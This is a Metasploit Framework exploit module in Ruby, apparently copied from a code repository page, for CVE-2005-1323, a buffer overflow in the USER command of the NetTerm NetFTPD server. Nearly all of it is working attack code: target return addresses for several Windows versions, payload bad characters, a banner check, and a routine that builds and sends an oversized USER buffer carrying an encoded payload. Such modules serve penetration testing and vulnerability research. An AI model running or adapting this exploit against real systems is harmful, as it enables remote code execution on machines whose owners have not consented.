124 lines
2.6 KiB
Ruby
124 lines
2.6 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GreatRanking
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include Msf::Exploit::Remote::Ftp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'NetTerm NetFTPD USER Buffer Overflow',
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'Description' => %q{
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This module exploits a vulnerability in the NetTerm NetFTPD
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application. This package is part of the NetTerm package.
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This module uses the USER command to trigger the overflow.
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},
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'Author' => [ 'hdm' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2005-1323'],
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[ 'OSVDB', '15865'],
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[ 'URL', 'http://seclists.org/lists/fulldisclosure/2005/Apr/0578.html'],
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[ 'BID', '13396'],
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],
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'Privileged' => false,
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'Payload' =>
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{
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'Space' => 1000,
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'BadChars' => "\x00\x0a\x20\x0d",
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'StackAdjustment' => -3500,
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},
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'Targets' =>
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[
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[
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'NetTerm NetFTPD Universal', # Tested OK - hdm 11/24/2005
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{
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'Platform' => 'win',
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'Ret' => 0x0040df98, # netftpd.exe (multiple versions)
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},
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],
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[
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'Windows 2000 English',
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{
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'Platform' => 'win',
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'Ret' => 0x75022ac4, # ws2help.dll
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},
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],
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[
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'Windows XP English SP0/SP1',
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{
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'Platform' => 'win',
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'Ret' => 0x71aa32ad, # ws2help.dll
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},
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],
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[
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'Windows 2003 English',
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{
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'Platform' => 'win',
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'Ret' => 0x7ffc0638, # peb magic :-)
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},
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],
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[
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'Windows NT 4.0 SP4/SP5/SP6',
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{
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'Platform' => 'win',
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'Ret' => 0x77681799, # ws2help.dll
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},
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],
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],
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'DisclosureDate' => 'Apr 26 2005',
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'DefaultTarget' => 0))
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end
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def check
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connect
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disconnect
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if (banner =~ /NetTerm FTP server/)
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return Exploit::CheckCode::Vulnerable
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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connect
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print_status("Trying target #{target.name}...")
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# U push ebp
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# S push ebx
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# E inc ebp
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# R push edx
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# \x20\xC0 and al, al
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buf = rand_text_english(8192, payload_badchars)
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buf[0, 1] = "\xc0"
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buf[1, payload.encoded.length] = payload.encoded
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buf[1014, 4] = [ target.ret ].pack('V')
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send_cmd( ["USER #{buf}"] )
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send_cmd( ['HELP'] )
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handler
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disconnect
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end
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end
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